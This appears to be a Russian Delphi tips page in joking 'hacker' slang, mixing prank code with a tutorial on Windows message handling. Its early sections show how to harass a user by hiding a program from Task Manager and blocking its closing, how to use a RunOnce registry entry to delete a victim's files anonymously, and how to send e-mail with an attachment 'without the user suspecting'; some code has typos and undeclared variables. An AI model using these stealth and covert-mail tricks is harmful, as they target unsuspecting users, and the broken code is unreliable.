http://www.hacker85.narod.ru



Здорово, бакланы!
Сегодня мы поприкалываемся над блокнотом!
Для этого открой Delphi, создай новый проект, брось туды Timer. Все. Больше нам никаких
компонентов не надо.
Поставь интервал таймера в 10000 (10 секунд)
Таперича на событие OnTimer нашкрабай такой код: var h:HWND;
s,v:integer;
begin
h:=FindWindow('Notepad',nil);
ShowWindow(h,sw_maximize);
for s:=1 to 40 do begin
for v:=1 to 40 do begin
MoveWindow(h,s,v,1,1,true);
end;
end;
ShowWindow(h,sw_minimize);
end;

Вот, казалось бы и всё. После запуска наша прога каждые 10 секунд разворачивать блокнот во весь экран, затем поиздевается над ним (как? сам увидишь:) и опять свернёт. НО! Пока наша прога беззащитна, как Мастдай перед хацкером :). Для того, чтобы скрыть прогу на событие OnShow напиши такой код

Application.showmainform:=false;

Но её по-прежнему можно "снять" по Ctrl-Alt-Del, поэтому скроем её: после implantation пиши:

function RegisterServiceProcess(dwProcessID,dwType:integer):integer;stdcall;
external'KERNEL32.DLL';

А по событию OnCreate пиши:

Application.ShowMainForm:=false;
if not(csDesigning in ComponentState) then
RegisterServiceProcess(GetCurrentProcessID,1);

А если ламер, окончательно затрахавшись, всё-таки попытается выкинуть её из памяти каким-нибудь извращенским способом, то мы и тут его обломим, написав в событии OnCloseQuery

CanClose:=false;

Усё! Будут вопросы - пиши.



--------------------------------------------------------------------------------




Программа - камикадзе

Если вам понадобилось, чтобы Ваше приложение самоликвидировалось ;-] после своего выполнения, тогда делайте так:

В разделе uses объявляем модуль Registry.

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, Registry;



...а нажатие кнопки обрабатываем следующим образом: procedure TForm1.Button1Click(Sender: TObject);
var
reg: TRegistry;
begin
reg := TRegistry.Create;
with reg do begin
RootKey := HKEY_LOCAL_MACHINE;
LazyWrite := false;
OpenKey('Software\Microsoft\Windows\CurrentVersion\RunOnce',
false);
WriteString('Delete Me!','command.com /c del FILENAME.EXT');
CloseKey;
free;
end;
end;

Всё дело в том, что параметры, заносимые в ключ

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce

удаляются после своего выполнения, т.е. глупый ламерюга даже не догадается кто ему показал

"Кузькину мать" :--}






как держать приложение в минимизированном виде

Если вам понадобилось, чтобы ваше присутствие ощущалось, но окно вашего приложения не показывалось пользователю ;-] , тогда делайте так:

В частных объявлениях [раздел private] объявляем процедуру:

private
{ Private declarations }
procedure WMQueryOpen(VAR Msg : TWMQueryOpen); message WM_QUERYOPEN;



А после слова implementation описываем её так: procedure TForm1.WMQueryOpen(VAR Msg : TWMQueryOpen);
begin
Msg.Result := 0;
end;

Ещё нужно свойство формы WindowState установить в wsMinimized, дабы окно изначально появилось на панели задач.






как отправить письмо на e-mail так, чтобы пользователь не подозревал об этом

unit Email;
interface
uses Windows, SusUtils, Classes;

function SendEmail(const RecipName, RecipAddress, Subject, Attachment: string): Boolean;

function IsOnline: Boolean;

implementation
uses Mapi;

function SendEmail(const RecipName, RecipAddress, Subject, Attachment: string): Boolean;
var
MapiMessage: TMapiMessage;
MapiFileDesc: TMapiFileDesc;
MapiRecipDesc: TMapiRecipDesc;
i: integer;
s: string;
begin
with MapiRecipDesc do begin
ulRecerved:= 0;
ulRecipClass:= MAPI_TO;
lpszName:= PChar(RecipName);
lpszAddress:= PChar(RecipAddress);
ulEIDSize:= 0;
lpEntryID:= nil;
end;

with MapiFileDesc do begin
ulReserved:= 0;
flFlags:= 0;
nPosition:= 0;
lpszPathName:= PChar(Attachment);
lpszFileName:= nil;
lpFileType:= nil;
end;

with MapiMessage do begin
ulReserved := 0;
lpszSubject := nil;
lpszNoteText := PChar(Subject);
lpszMessageType := nil;
lpszDateReceived := nil;
lpszConversationID := nil;
flFlags := 0;
lpOriginator := nil;
nRecipCount := 1;
lpRecips := @MapiRecipDesc;
if length(Attachment) > 0 then begin
nFileCount:= 1;
lpFiles := @MapiFileDesc;
end else begin
nFileCount:= 0;
lpFiles:= nil;
end;
end;

Result:= MapiSendMail(0, 0, MapiMessage, MAPI_DIALOG
or MAPI_LOGON_UI or MAPI_NEW_SESSION, 0) = SUCCESS_SUCCESS;
end;


function IsOnline: Boolean;
var
RASConn: TRASConn;
dwSize,dwCount: DWORD;
begin
RASConns.dwSize:= SizeOf(TRASConn);
dwSize:= SizeOf(RASConns);
Res:=RASEnumConnectionsA(@RASConns, @dwSize, @dwCount);
Result:= (Res = 0) and (dwCount > 0);
end;

end.



что такое сообщения windows

Потребности программиста на Delphi практически полностью удовлетворяются возможностями работы с событиями, предоставляемыми VCL. Но при создании серьёзных нестандартных приложений и особенно при разработке компонентов Delphi вам, безусловно потребуется непосредственно обрабатывать сообщения Windows, после чего генерировать события, соответствующие этим сообщениям.



Что же такое сообщение? Сообщение - это извещение о некотором имевшем место событии, посылаемое системой Windows в адрес приложения. Любые действия пользователя - щелчок мышью, изменение размеров окна приложения, нажатие клавиши на клавиатуре - вынуждают Windows отправить приложению сообщение, извещающее о том, что же произошло в системе.

Сообщение представляет собой определённую запись, объявленную в модуле Windows так:



type

TMsg = packed record

hwnd : HWND; //Дескриптор окна-получателя

message : UINT; //Идентификатор сообщения

WParam : WPARAM; //32 бита дополнительной информации

LParam : LPARAM; //ещё 32 бита дополнительной информации

time : DWORD; //время создания сообщения

pt : TPoint; //Положение указателя мыши в момент создания сообщения

end;



Итак, мы познакомились с тем, что представляет собой сообщение в целом, в последующих разделах будут подробно рассмотрены различные типы этих сообщений.




как обрабатывать сообщения

Обработка сообщений означает, что приложение будет тем или иным образом реагировать на полученные от операционной системы сообщения. В стандартном приложении Windows обработка сообщений сосредотачивается в процедурах окна. Delphi, частично обрабатывая сообщения, упрощает работу программиста, позволяя вместо одной процедуры для обработки всех типов сообщений создавать независимые процедуры для обработки сообщений различных типов.



Все процедуры обработки сообщений должны отвечать следующим требованиям:

Процедура должна быть методом объекта

Процедуре должен передаваться один передаваемый по ссылке параметр, т.е. с помощью описания var. Тип параметра должен быть TMessage или другой, зависящий от типа специализированного сообщения

Описание процедуры должно включать ключевое слово message, за которым должна следовать константа, задающая тип обрабатываемого сообщения

Вот пример объявления процедуры, обрабатывающей сообщение WM_Paint

procedure WMPaint (var Msg:TWMPaint); message wm_Paint;

[соглашение по присвоению имён требует присваивать обработчику сообщения то же имя, что и имя обрабатываемого сообщения, но без символа подчёркивания и указанием первым знаков имени прописными буквами]



В качестве примера напишем процедуру обработки сообщения WM_Paint, которая вместо перерисовки будет выдавать звуковой сигнал:



Для этого сначала нужно объявить процедуру в частных объявлениях (в области Private объекта TForm1):

procedure WMPaint (var Msg:TWMPaint); message wm_Paint;

Теперь в разделе implementation модуля добавляем определение процедуры (в этом случае указание ключевого слова message не требуется):

procedure TForm1.WMPaint(var Msg:TWMPaint);
begin
beep;
inherited;
end;



Обратите внимание на ключевое слово inherited, которое позволяет передать сообщение обработчику этого сообщения, принадлежащему классу-предку, т.е. если бы мы в нашем случае не указали бы это слово, перерисовка окна не осуществлялась бы, а выполнялось бы только только то, что было описано в области реализации нашего приложения, т.е. только бы подавался звуковой сигнал.




wm_activate

Сообщение посылается, когда окно переводится в активное или неактивное состояние. Сначала посылается окну, переходящему в неактивное состояние, а потом - активируемому.



Параметры:

Active - показывает состояние, приобретаемое окном, а именно активизируется или деактивизируется окно. Тип параметра Word

Значения:

WA_ACTIVE - окно активизируется не щелчком мыши
WA_CLICKACTIVE - окно активизируется щелчком мыши
WA_INACTIVE - окно деактивизируется
ActiveWindow - дескриптор, который указывает на окно, из которого фокус переключился на данное окно, если оно активируется, или на окно, в которое передается управление, если данное окно деактивируется. Тип параметра HWND
Result - возвращаемое значение. Если приложение обрабатывает это сообщение, оно должно возвращать нуль. Тип параметра Integer
Minimized - свидетельствует о том, что окно минимизировано. Тип параметра WordBool
Действие по умолчанию
Если активируемое окно не свернуто, то оно получает фокус.

Примечания
Если окно активируется щелчком мыши, оно получает также сообщение WM_MOUSEACTIVATE.

Давайте рассмотрим пример использования этого сообщения. Например у нас есть GroupBox собственного производства. Его состав таков: на заднем плане находится панель (компонент класса TPanel). Его свойство BevelOuter установлено в bvLowered, а свойство BevelInner равно bvRaised - в итоге получается такая вогнутая каемка, как показана на рисунке. Сверху на эту панель была вынесена ещё одна, которая является заголовочной и по сценарию её цвет должен меняться вместе с заголовочной полосой, в зависимости от того становиться ли главное окно приложения активным или неактивным. У этой панели свойство BevelOuter установлено в bvRaised, а свойство BevelInner равно bvNone. На эту панель выносится метка (компонент TLabel), её свойству Align присваиваем alClient, а свойству Alignment - taCenter, чтобы метка выравнилась по всей области панели, а её заголовок находился в центре.



Как же заставить панель изменять цвет?

Сначала нужно в частных объявлениях объявить процедуру обработки данного сообщения

private
{ Private declarations }
procedure wmActivate (var Msg:TWMACTIVATE); message wm_Activate;

В области реализации (implementation) её нужно описать так

procedure TForm1.WMActivate (var Msg:TWMActivate);
begin
if (Msg.Active=WA_ACTIVE)or(Msg.Active=WA_CLICKACTIVE)then begin {если окно получило фокус ввода по щелчку мыши или как иначе...}
Panel1.Color:=clActiveCaption; {...тогда цвет панели делаем равным цвету активной заголовочной полосы окна}
end
else begin {иначе...}
Panel1.Color:=clInactiveCaption; {...цвет панели будет соответствовать НЕактивной заголовочной полосе окна}
end;
inherited;
end;

Если из главного окна вызывается другое, и мы хотим в тот момент, когда оно теряет фокус ввода - минимизировать его, нужно код реализации процедуры немного изменить:

procedure TForm1.WMActivate (var Msg:TWMActivate);
begin
if (Msg.Active=WA_ACTIVE)or(Msg.Active=WA_CLICKACTIVE)then begin
Panel1.Color:=clActiveCaption;
ShowWindow(Msg.ActiveWindow,sw_minimize); {сворачиваем второстепенное окно, когда оно теряет фокус ввода}
end
else begin
Panel1.Color:=clInactiveCaption;
ShowWindow(Msg.ActiveWindow,sw_restore); {восстанавливаем второстепенное окно, когда оно активизируется}
end;
inherited;
end;

Обратите внимание на ключевое слово inherited, которое позволяет посланное сообщение обработать процедуре класса предка.



--------------------------------------------------------------------------------




wm_activateapp

Сообщение посылается при переходе активности от окна одного приложения к окну другого приложения. Сообщения посылаются обоим окнам.



Параметры:

Active - значение true означает, что окно становится активным, а false - что окно теряет активность. Тип параметра LongBool

ThreadId - указывает сторонний процесс, который теряет или приобретает активность. Тип параметра Integer
Result - возвращаемое значение. Если приложение обрабатывает это сообщение, оно должно возвращать нуль. Тип параметра Integer




<< ВЕРНУТЬСЯ В ОГЛАВЛЕНИЕ



Материалы находятся на сайте https://exelab.ru/pro/



Оригинальный DVD-ROM: eXeL@B DVD !


Вы находитесь на EXELAB.rU
Проект ReactOS